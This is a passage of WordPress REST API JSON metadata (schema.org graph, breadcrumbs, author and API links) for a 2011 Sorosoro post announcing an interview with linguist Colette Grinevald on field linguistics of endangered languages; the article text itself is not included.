Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/#primaryimage"},"image":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/#primaryimage"},"thumbnailUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/Photo03.JPG","datePublished":"2011-06-14T23:23:37+00:00","dateModified":"2025-10-21T20:35:22+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/#primaryimage","url":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/Photo03.JPG","contentUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/Photo03.JPG"},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/junio-del-2011-entrevista-de-la-linguista-colette-grinevald-para-la-publicacion-de-una-obra-colectiva-intitulada-linguistica-de-terreno-sobre-lenguas-en-peligro\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"Junio del 2011: entrevista de la ling\u00fcista Colette Grinevald para la publicaci\u00f3n de una obra colectiva intitulada \u201cLing\u00fc\u00edstica de terreno sobre lenguas en peligro\u201d"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/50434","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=50434"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/50434\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=50434"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=50434"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=50434"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}